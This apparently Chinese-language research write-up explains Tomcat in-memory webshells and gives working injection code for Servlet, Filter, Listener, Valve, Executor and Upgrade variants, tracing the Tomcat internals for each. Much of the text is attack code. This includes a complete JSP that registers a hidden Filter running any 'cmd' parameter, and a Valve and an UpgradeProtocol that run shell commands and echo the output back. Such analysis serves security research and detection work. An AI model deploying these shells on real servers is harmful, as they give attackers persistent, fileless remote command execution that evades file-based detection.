Tomcat内存马

image.png

img

Servlet内存马

下面是基于动态注册Servlet的内存马实现

首先要了解Servlet是如何被注册的,注册的过程是怎样的。
按照正常的实现Servlet,是需要在web.xml里面进行配置的,如:

<servlet>
  <servlet-name>Test</servlet-name>
  <servlet-class>Test</servlet-class>
</servlet>
<servlet-mapping>
  <servlet-name>Test</servlet-name>
  <url-pattern>/test</url-pattern>
</servlet-mapping>

要实现动态注册,那就要先去了解这个web.xml是如何被解析并且获取servlet的

解析web.xml的类是org.apache.catalina.startup.ContextConfig的webConfig()方法
这个方法的具体逻辑,在英文注释中说的很清楚了,概括起来包括以下两点:
:::info
1.合并Tomcat全局web.xml 、当前应用中的web.xml 、web-fragment.xml和web应用的注解中的配置信息
2.将解析出的各种配置信息(如Servlet配置、Filter配置、Listener配置等)关联到Context对象中
:::
而上面提到的第二点,是通过configureContext方法完成的,依次读取了 Filter、Listenert、Servlet的配置及其映射

这里逻辑就比较清晰了,就是调用Context的add方法、set方法配置Context
例如解析Servlet配置的代码:
image.png

首先获取web.xml中所有的<servlet>标签下的<servlet-name><servlet-class>,然后遍历所有的servlet
每次遍历都会创建一个wrapper对象,this.context是StandardContext
如果xml中设置了优先级LoadOnStartUp(没设置默认是-1),则进行设置,
:::info
load-on-startup 这个元素的含义是在服务器启动的时候就加载这个servlet(实例化并调用init()方法).这个元素中的可选内容必须为一个整数,表明了这个servlet被加载的先后顺序.当是一个负数时或者没有指定时,则表示服务器在该servlet被调用时才加载。当值为0或者大于0时,表示服务器在启动时就加载这个servlet.该容器肯定可以保证被标记为更小的整数的servlet比被标记为更大的整数的servlet更先被调用,还可已选择同样的load-on-start-up值来夹在servlets.
补充:正数的值越小,启动该servlet的优先级越高
:::
然后根据xml存储servlet Name ,也就是<servlet-name>部分

下面的代码是设置init()参数,没有就跳过

Map<String, String> params = servlet.getParameterMap();
var7 = params.entrySet().iterator();

while(var7.hasNext()) {
    Map.Entry<String, String> entry = (Map.Entry)var7.next();
    wrapper.addInitParameter((String)entry.getKey(), (String)entry.getValue());
}

往下就是将<servlet-class>放到wrapper里
image.png

配置好wrapper后添加到Context里 ,然后到处理路由绑定部分,也就是
image.png
循环遍历所有的mapping使用this.context.addServletMappingDecoded()将url路径和servlet类做映射。(这里的/test、Test就是我们在Mapper中设置的值)

servlet注册流程:

  1. 通过 context.createWapper() 创建 Wapper 对象;
  2. 设置 Servlet 的 LoadOnStartUp(优先级) 的值;
  3. 设置 Servlet 的 Name;
  4. 设置 Servlet 对应的 Class;
  5. 通过addChild()将创建并配置好的 Wrapper 添加到 Context 中
  6. 通过addServletMappingDecoded()将 url 路径和 servlet 类做映射。

现在还有一个问题没解决,就是创建Wapper 对象的this.context(StandardContext)如何获取?
这个似乎要根据具体环境来定,如果是在jsp的环境下,可以通过request对象用反射获取
例如request对象存在一个getServletContext()方法 ,调试发现其获取到的是ApplicationContext
:::info
ServletContext servletContext = request.getServletContext();
:::
image.png
在这个ApplicationContext里面就能找到StandardContext
获取StandardContext的代码如下

ServletContext servletContext = request.getServletContext();
Field Context = servletContext.getClass().getDeclaredField("context");
Context.setAccessible(true);
ApplicationContext applicationContext =(ApplicationContext) Context.get(servletContext);

Field stcontext = applicationContext.getClass().getDeclaredField("context");
stcontext.setAccessible(true);
StandardContext standardContext = (StandardContext) stcontext.get(applicationContext);

还可以这样获取:

Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext stdcontext = (StandardContext) req.getContext();

然后就是根据上面的流程进行注册servlet
先写个马

<%!
public class Memshell extends HttpServlet {
@Override
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
    Runtime.getRuntime().exec("calc");
}

@Override
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
}
}
%>

获取StandardContext

ServletContext servletContext = request.getServletContext();
Field Context = servletContext.getClass().getDeclaredField("context");
Context.setAccessible(true);
ApplicationContext applicationContext =(ApplicationContext) Context.get(servletContext);

Field stcontext = applicationContext.getClass().getDeclaredField("context");
stcontext.setAccessible(true);
StandardContext standardContext = (StandardContext) stcontext.get(applicationContext);

注册

Wrapper wrapper = standardContext.createWrapper();
wrapper.setName("aaa");
wrapper.setServletClass(Memshell.class.getName());
wrapper.setLoadOnStartup(1);
wrapper.setServlet(new Memshell()); //实例化servlet对象
standardContext.addChild(wrapper);
standardContext.addServletMappingDecoded("/shell","aaa");

利用的时候,先访问这个恶意的jsp,让servlet先注册进去,再访问这个内存马路径/shell
image.png

Filter内存马

这里的逻辑是也是参考了tomcat处理web.xml中filter配置进行注册filter的过程,

<filter>
  <filter-name>TestFilter</filter-name>
  <filter-class>TestFilter</filter-class>
</filter>
<filter-mapping>
  <filter-name>TestFilter</filter-name>
  <url-pattern>/test</url-pattern>
</filter-mapping>

也是在org.apache.catalina.startup.ContextConfig的configureContext()方法
image.png

主要有两步context.addFilterDef和context.addFilterMap,其中context还是StandardContext
filter是FilterDef对象,可以根据调试内容进行创建修改值
image.png
主要是设置了filterName和filterClass,可以使用反射修改,但是这里不需要这么麻烦,FilterDef提供了set方法进行设置

FilterDef filter = new FilterDef();
filter.setFilterName("MemFilter");
filter.setFilterClass(MemFilter.class.getName());
filter.setAsyncSupported("false");
filter.setFilter(new MemFilter());//实例化

还有filterMap,这个是FilterMap对象,用于filter绑定路径
image.png

FilterMap filterMap = new FilterMap();
filterMap.setFilterName("MemFilter");
filterMap.addURLPattern("/*");

然后就是获取StandardContext,将filter进行注册

standardContext.addFilterDef(filter);
standardContext.addFilterMap(filterMap);

看似已经完成注册了,实际上还有许多步骤没有完成
调试往下会发现,在org.apache.catalina.core.StandardContext#filterStart中

public boolean filterStart() {
    if (this.getLogger().isDebugEnabled()) {
        this.getLogger().debug("Starting filters");
    }

    boolean ok = true;
    synchronized(this.filterConfigs) {
        this.filterConfigs.clear();
        Iterator var3 = this.filterDefs.entrySet().iterator();

        while(var3.hasNext()) {
            Map.Entry<String, FilterDef> entry = (Map.Entry)var3.next();
            String name = (String)entry.getKey();
            if (this.getLogger().isDebugEnabled()) {
                this.getLogger().debug(" Starting filter '" + name + "'");
            }

            try {
                ApplicationFilterConfig filterConfig = new ApplicationFilterConfig(this, (FilterDef)entry.getValue());
                this.filterConfigs.put(name, filterConfig);
            } catch (Throwable var8) {
                Throwable t = ExceptionUtils.unwrapInvocationTargetException(var8);
                ExceptionUtils.handleThrowable(t);
                this.getLogger().error(sm.getString("standardContext.filterStart", new Object[]{name}), t);
                ok = false;
            }
        }

        return ok;
    }
}

首先对filterDefs进行foreach,可以看到这是一个HashMap,对应是<key,Object>,具体是过滤器名称和FilterDef对象
image.png
再往下,对filterConfigs这个HashMap设置ApplicationFilterConfig
image.png

所以要给 this.filterConfigs加点小料 ,this是StandardContext

因为ApplicationFilterConfig类不为public类型,所以只能通过反射进行创建对象,filterConfigs也是私有属性,也只能通过反射设置

Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filter);

Field filterConfigsField = StandardContext.class.getDeclaredField("filterConfigs");
filterConfigsField.setAccessible(true);
Map filterConfigs = (Map) filterConfigsField.get(standardContext);
filterConfigs.put("MemFilter", filterConfig);

完整代码如下:

<%@ page import="java.io.IOException" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="java.util.Map" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%!
public class MemFilter implements Filter {
    public void init(FilterConfig config) throws ServletException {
    }
    public void destroy() {
    }
    @Override
    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws ServletException, IOException {
        String c = request.getParameter("cmd");
        if(!c.isEmpty())
        {
            Runtime.getRuntime().exec(c);
        }
        chain.doFilter(request, response);

    }
}

%>



<%
ServletContext servletContext = request.getServletContext();
Field context = servletContext.getClass().getDeclaredField("context");
context.setAccessible(true);
ApplicationContext applicationContext =(ApplicationContext) context.get(servletContext);
Field stcontext = applicationContext.getClass().getDeclaredField("context");
stcontext.setAccessible(true);
StandardContext standardContext = (StandardContext) stcontext.get(applicationContext);


FilterDef filter = new FilterDef();
filter.setFilterName("MemFilter");
filter.setFilterClass(MemFilter.class.getName());
filter.setAsyncSupported("false");
filter.setFilter(new MemFilter());

standardContext.addFilterDef(filter);


FilterMap filterMap = new FilterMap();
filterMap.setFilterName("MemFilter");
filterMap.addURLPattern("/*");
//filterMap.setDispatcher(DispatcherType.REQUEST.name());

standardContext.addFilterMap(filterMap);


Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filter);

Field filterConfigsField = StandardContext.class.getDeclaredField("filterConfigs");
filterConfigsField.setAccessible(true);
Map filterConfigs = (Map) filterConfigsField.get(standardContext);
filterConfigs.put("MemFilter", filterConfig);

%>

注入成功
image.png

按照网上的文章,上面的代码还缺少了一句,目前还不知道是干嘛用的

filterMap.setDispatcher(DispatcherType.REQUEST.name());

setDispatcher的代码如下:

public void setDispatcher(String dispatcherString) {
String dispatcher = dispatcherString.toUpperCase(Locale.ENGLISH);
if (dispatcher.equals(DispatcherType.FORWARD.name())) {
    this.dispatcherMapping |= 2;
} else if (dispatcher.equals(DispatcherType.INCLUDE.name())) {
    this.dispatcherMapping |= 4;
} else if (dispatcher.equals(DispatcherType.REQUEST.name())) {
    this.dispatcherMapping |= 8;
} else if (dispatcher.equals(DispatcherType.ERROR.name())) {
    this.dispatcherMapping |= 1;
} else if (dispatcher.equals(DispatcherType.ASYNC.name())) {
    this.dispatcherMapping |= 16;
}

}

Listener内存马

Servlet 规范中定义了 8 个监听器接口,可以用于监听 ServletContext、HttpSession 和 ServletRequest 对象的生命周期和属性变化事件 http://c.biancheng.net/servlet2/listener.html
但因为内存马本身的特殊性, 一般选用 ServletRequestListener 接口

简单写一个listener,在web.xml配置好

<listener>
  <listener-class>TestListener</listener-class>
</listener>

同样的在org.apache.catalina.startup.ContextConfig的configureContext()方法中
相关代码只有这点
image.png
但是context.addApplicationListener接受的参数是字符串,即listener的类名,猜测是通过名字进行实例化

在StandardContext的这个类下的listenerStart里面
image.png
首先获取刚刚存储的类名,然后实例化保存到results里面

然后往下,这里会判断listener的类型进行添加到eventListeners数组里面
image.png
然后调用了setApplicationEventListeners()添加到applicationEventListenersList里面
image.png

public void setApplicationEventListeners(Object[] listeners) {
    this.applicationEventListenersList.clear();
    if (listeners != null && listeners.length > 0) {
        this.applicationEventListenersList.addAll(Arrays.asList(listeners));
    }

}

然后在fireRequestInitEvent()方法中调用了getApplicationEventListeners(),又把eventListeners数组掏出来了
image.png
往下调用listener.requestInitialized(event),执行了listener的requestInitialized方法进行初始化

所以只要将实例化后的listener对象放到ApplicationEventListeners数组里就可以了,StandardContext自带了个addApplicationEventListener方法

public void addApplicationEventListener(Object listener) {
this.applicationEventListenersList.add(listener);
}

先写个ServletRequestListener马,把马写到requestInitialized方法里,这样每次发起请求的初始化就会调用requestInitialized

<%!
  public class memListener implements ServletRequestListener {
  @Override
    public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
  }

  @Override
    public void requestInitialized(ServletRequestEvent servletRequestEvent) {

      try {
        Runtime.getRuntime().exec("calc");
      } catch (IOException e) {
        throw new RuntimeException(e);
      }
    }
}
%>

获取StandardContext

ServletContext servletContext = request.getServletContext();
Field context = servletContext.getClass().getDeclaredField("context");
context.setAccessible(true);
ApplicationContext applicationContext =(ApplicationContext) context.get(servletContext);
Field stcontext = applicationContext.getClass().getDeclaredField("context");
stcontext.setAccessible(true);
StandardContext standardContext = (StandardContext) stcontext.get(applicationContext);

实例化注册

standardContext.addApplicationEventListener(new memListener());

效果
image.png

Valve内存马

Tomcat 在处理一个请求调用逻辑时,是如何处理和传递 Request 和 Respone 对象的呢?为了整体架构的每个组件的可伸缩性和可扩展性,Tomcat 使用了职责链模式来实现客户端请求的处理。在 Tomcat 中定义了两个接口:Pipeline(管道)和 Valve(阀)。这两个接口名字很好的诠释了处理模式:数据流就像是流经管道的水一样,经过管道上个一个个阀门。
Pipeline 中会有一个最基础的 Valve(basic),它始终位于末端(最后执行),封装了具体的请求处理和输出响应的过程。Pipeline 提供了 addValve 方法,可以添加新 Valve 在 basic 之前,并按照添加顺序执行。

image.png
Tomcat 每个层级的容器(Engine、Host、Context、Wrapper),都有基础的 Valve 实现(StandardEngineValve、StandardHostValve、StandardContextValve、StandardWrapperValve),他们同时维护了一个 Pipeline 实例(StandardPipeline),也就是说,我们可以在任何层级的容器上针对请求处理进行扩展。这四个 Valve 的基础实现都继承了 ValveBase

看看Pipeline接口,继承了Contained接口

public interface Pipeline extends Contained {
 
    public Valve getBasic();
 
    public void setBasic(Valve valve);
 
    public void addValve(Valve valve);
 
    public Valve[] getValves();
 
    public void removeValve(Valve valve);
 
    public void findNonAsyncValves(Set<String> result);
}

Pipeline接口提供了各种对Valve的操作方法,可以通过addValve()方法来添加一个Valve
在StandardHostValve中可以看到 invoke是获取StandardContext的valve
然后再每一个invoke()里面又会递归调用
image.png

在Valve的接口中就给了getNext()

public interface Valve {
 
    public Valve getNext();
 
    public void setNext(Valve valve);
 
    public void backgroundProcess();
 
    public void invoke(Request request, Response response)
        throws IOException, ServletException;
 
    public boolean isAsyncSupported();
}

可以通过getNext()获取下一个valve, 利用getNext().invoke(request, response)往下进行连接

Valve是通过重写invoke方法实现主要逻辑的

class memValve extends ValveBase {
 
        @Override
        public void invoke(Request request, Response response) throws IOException, ServletException {
            ...
            }
}

invoke 方法加入我们的恶意代码,由于可以拿到 Request 和 Response 方法,所以也可以做一些参数上的处理或者回显。然后使用 StandardContext 中的 pipeline 属性的 addValve 方法进行注册
所以实现内存马步骤如下:

  1. 写个马
class memValve extends ValveBase {

        @Override
        public void invoke(Request request, Response response) throws IOException, ServletException {
           String cmd = request.getParameter("cmd");
            if (cmd != null)
            {
                Process process = Runtime.getRuntime().exec(cmd);
                BufferedReader bufferedReader = new BufferedReader(
                        new InputStreamReader(process.getInputStream()));
                StringBuilder stringBuilder = new StringBuilder();
                String line;
                while ((line = bufferedReader.readLine()) != null)
                {
                    stringBuilder.append(line + '\n');
                }
                response.getOutputStream().write(stringBuilder.toString().getBytes());
                response.getOutputStream().flush();
                response.getOutputStream().close();
                return;
            }
            
            this.getNext().invoke(request, response); //往下连接

        }

    }

为了不影响后面程序的运行加上
this.getNext().invoke(request, response);

  1. 获取StandardContext
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext stdcontext = (StandardContext) req.getContext();
  1. 动态注册
stdcontext.getPipeline().addValve(new memValve());

效果如下:
image.png

Executor内存马

一个Tomcat中是有一个Server,一个Server下有好几个Service,一个Service有多个Connector和一个Container,Connector是负责处理连接相关的事情,Container用于封装和管理Servlet和处理Request请求。

Connector主要由ProtocolHandler与Adapter构成
image.png
ProtocolHandler 主要由Endpoint和Processor组成
Endpoint有五大组件:

  • LimitLatch:连接控制器,负责控制最大的连接数
  • Acceptor:负责接收新的连接,然后返回一个Channel对象给Poller
  • Poller:可以将其看成是NIO中Selector,负责监控Channel的状态
  • SocketProcessor:可以看成是一个被封装的任务类
  • Executor:Tomcat自己扩展的线程池,用来执行任务类

Executor是一种可以在Tomcat组件之间进行共享的连接池
image.png
在Tomcat中Executor由Service维护,因此同一个Service中的组件可以共享一个线程池。如果没有定义任何线程池,相关组件( 如Endpoint)会自动创建线程池,此时,线程池不再共享。

org.apache.tomcat.util.net.NioEndpoint.Poller
image.png
image.png
如果Executor没有,就会调用createExecutor来创建Executor
image.png
这里是直接实例化EndPoint自己启动的TreadPoolExecutor类,这个类是Executor的子类

创建后如何使用?
在org.apache.tomcat.util.net.NioEndpoint.Poller的run方法中
通过调用events方法,来判断是否还有Pollerevent事件,如果有就将其取出,然后把里面的Channel取出来注册到该Selector中,然后不断轮询所有注册过的Channel查看是否有事件发生。当有事件发生时,则调用SocketProcessor交给Executor执行。
image.png
然后来看processKey方法,processKey()这个方法主要通过调用processSocket()方法创建一个SocketProcessor,然后丢到Tomcat线程池中去执行。每个Endpoint都有自己的SocketProcessor实现,从Endpoint的属性中可以看到,这个Processor也有缓存机制。 总结一下Poller所做的事:遍历PollerEvents队列,将每个事件中的通道感兴趣的事件注册到Selector,当事件就绪时,创建一个SocketProcessor或者从缓存中取出一个SocketProcessor,然后放到线程池执行或者直接执行它的run方法执行。
image.png
跟进,来到org.apache.tomcat.util.net.AbstractEndpoint
image.png
综上,只需要新建一个类继承自TreadPoolExecutor类,然后把恶意的逻辑重写到execute方法即可

那问题来了,如何将新建的类添加到NioEndpoint里,使得this.getExecutor()能够获取到想要的executor
在AbstractEndpoint中存在一个setExecutor方法,NioEndpoint继承了AbstractEndpoint,所以只要调用setExecutor就行

public void setExecutor(Executor executor) {
    this.executor = executor;
    this.internalExecutor = executor == null;
}

新建类,继承ThreadPoolExecutor

public class memThreadExcutor extends ThreadPoolExecutor {

    public memThreadExcutor(int corePoolSize, int maximumPoolSize, long keepAliveTime, TimeUnit unit, BlockingQueue<Runnable> workQueue, ThreadFactory threadFactory, RejectedExecutionHandler handler) {
      super(corePoolSize, maximumPoolSize, keepAliveTime, unit, workQueue, threadFactory, handler);
    }
...
    @Override
    public void execute(Runnable command) {
...
      this.execute(command, 0L, TimeUnit.MILLISECONDS);
    }

  }
  1. 写个马
public class memThreadExcutor extends ThreadPoolExecutor {

    public memThreadExcutor(int corePoolSize, int maximumPoolSize, long keepAliveTime, TimeUnit unit, BlockingQueue<Runnable> workQueue, ThreadFactory threadFactory, RejectedExecutionHandler handler) {
        super(corePoolSize, maximumPoolSize, keepAliveTime, unit, workQueue, threadFactory, handler);
    }
    @Override
    public void execute(Runnable command) {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            throw new RuntimeException(e);
        }
        this.execute(command, 0L, TimeUnit.MILLISECONDS);
    }

}
  1. 获取NioEndpoint
public Object getNioEndpoint() {
    // 获取当前线程的所有线程
    Thread[] threads = (Thread[]) getField(Thread.currentThread().getThreadGroup(), "threads");
    for (Thread thread : threads) {
        try {
            // 需要获取线程的特征包含Acceptor
            if (thread.getName().contains("Acceptor")) {
                Object target = getField(thread, "target");
                Object nioEndpoint = getField(target, "endpoint");
                return nioEndpoint;
            }
        } catch (Exception e) {
            e.printStackTrace();
            continue;
        }
    }
    // 没有获取到对应Endpoint,返回一个空对象
    return new Object();
}

其中getField是获取对象属性

public Object getField(Object obj, String field) {
    // 递归获取类的及其父类的属性
    Class clazz = obj.getClass();
    while (clazz != Object.class) {
        try {
            Field declaredField = clazz.getDeclaredField(field);
            declaredField.setAccessible(true);
            return declaredField.get(obj);
        } catch (Exception e) {
            clazz = clazz.getSuperclass();
        }
    }
    return null;
}
  1. 调用setExecutor完成注册
NioEndpoint nioEndpoint = (NioEndpoint) getNioEndpoint();
//获取nioEndpoint
ThreadPoolExecutor executor = (ThreadPoolExecutor) getField(nioEndpoint, "executor");
//获取executor用于构造函数传参
memThreadExcutor memthreadexcutor = new memThreadExcutor(executor.getCorePoolSize(), executor.getMaximumPoolSize(), executor.getKeepAliveTime(TimeUnit.MILLISECONDS), TimeUnit.MILLISECONDS, executor.getQueue(), executor.getThreadFactory(), executor.getRejectedExecutionHandler());
nioEndpoint.setExecutor(memthreadexcutor);//将内存马传入nioEndpoint完成注册

现在只能够实现执行一条命令,不好利用,是否可以通过resquest和response对象进行实时输入命令执行后进行回显?

可能是这里使用的是tomcat9,在调试的过程中发现和网上的分析文章不一样,获取不到想要的对象,所以回显这里先暂时放一放

Upgrade内存马

还是看这图
image.png

前面是利用了EndPoint中的Executor进行构造内存马,这里使用的是Processor
在org.apache.coyote.http11.Http11Processor的service方法中,出现了下面的处理过程:
image.png
首先调用isConnectionToken()判断request的请求头headers中是否存在Connection: upgrade

private static boolean isConnectionToken(MimeHeaders headers, String token) throws IOException {
    MessageBytes connection = headers.getValue("Connection");
    if (connection == null) {
        return false;
    } else {
        Set<String> tokens = new HashSet();
        TokenList.parseTokenList(headers.values("Connection"), tokens);
        return tokens.contains(token);
    }
}

如果存在Connection: upgrade则进入判断里面
然后再获取headers中Upgrade对应的值,例如 Upgrade:aaa中的aaa
往下就调用this.protocol.getUpgradeProtocol()

public UpgradeProtocol getUpgradeProtocol(String upgradedName) {
return (UpgradeProtocol)this.httpUpgradeProtocols.get(upgradedName);
}

根据请求头Upgrade的值获取相应的 UpgradeProtocol
然后在下一个if判断中调用获取到的UpgradeProtocol的accept方法

下一步的目标是找到this.httpUpgradeProtocols是从哪里来的,如果可以动态注册一个UpgradeProtocol,把恶意代码写在accept方法里,内存马不就实现了吗

往上跟踪this.httpUpgradeProtocols ,发现它是一个HashMap对象
image.png
然后在configureUpgradeProtocol()方法中赋值
image.png

然后发现只有init()方法调用了这个configureUpgradeProtocol()方法
image.png

在init方法中它做了以下几件事情:

  1. 通过读取upgradeProtocols列表,
  2. 调用configureUpgradeProtocol
  3. 将对应upgradeProtocol添加到httpUpgradeProtocols的HashMap中。

那是什么时候对upgradeProtocols进行的初始化呢,我们在init方法上下断点,我们发现是在Tomcat启动时进行的初始化。
image.png

综上所述,只要获取到AbstractHttp11Protocol对象或者其子类对象,通过反射给属性httpUpgradeProtocols加一个键值对即可
image.png

  1. 先写个马

主要逻辑在accept方法里,这里只接受了一个Request参数,没有Response,不能回显
需要获取Response:request对象中存在private Response response;因此我们可以通过反射获取到response对象

public class memUgrade implements UpgradeProtocol {

    @Override
    public String getHttpUpgradeName(boolean b) {
        return null;
    }

    @Override
    public byte[] getAlpnIdentifier() {
        return new byte[0];
    }

    @Override
    public String getAlpnName() {
        return null;
    }

    @Override
    public Processor getProcessor(SocketWrapperBase<?> socketWrapperBase, Adapter adapter) {
        return null;
    }

    @Override
    public InternalHttpUpgradeHandler getInternalUpgradeHandler(SocketWrapperBase<?> socketWrapperBase, Adapter adapter, Request request) {
        return null;
    }

    @Override
   public boolean accept(org.apache.coyote.Request request) {
            String p = request.getHeader("cmd");
            try {
                String[] cmd = System.getProperty("os.name").toLowerCase().contains("win") ? new String[]{"cmd.exe", "/c", p} : new String[]{"/bin/sh", "-c", p};
                org.apache.coyote.Response resp = (org.apache.coyote.Response) getField(request,"response");
                byte[] result = new java.util.Scanner(new ProcessBuilder(cmd).start().getInputStream()).useDelimiter("\\A").next().getBytes();
                resp.doWrite(ByteBuffer.wrap(result));
            } catch (Exception e) {
            }
            return false;
        }
}
  1. 获取AbstractHttp11Protocol对象或者其子类对象

在resquest对象中就能找到Http11NioProtocol
image.png
image.png
image.png

通过反射获取它

Object req = getField(request,"request");
Object connector = getField(req,"connector");
Http11NioProtocol http11NioProtocol = (Http11NioProtocol)getField(connector,"protocolHandler");
Map<String, UpgradeProtocol> httpUpgradeProtocols = (Map)getField(http11NioProtocol,"httpUpgradeProtocols");

其中getField()如下

public Object getField(Object obj, String field) {
    // 递归获取类的及其父类的属性
    Class clazz = obj.getClass();
    while (clazz != Object.class) {
        try {
            Field declaredField = clazz.getDeclaredField(field);
            declaredField.setAccessible(true);
            return declaredField.get(obj);
        } catch (Exception e) {
            clazz = clazz.getSuperclass();
        }
    }
    return null;
}
  1. 将恶意的UpgradeProtocol添加到httpUpgradeProtocols里面
httpUpgradeProtocols.put("RunCmd",new memUpgrade());
  1. 结果

image.png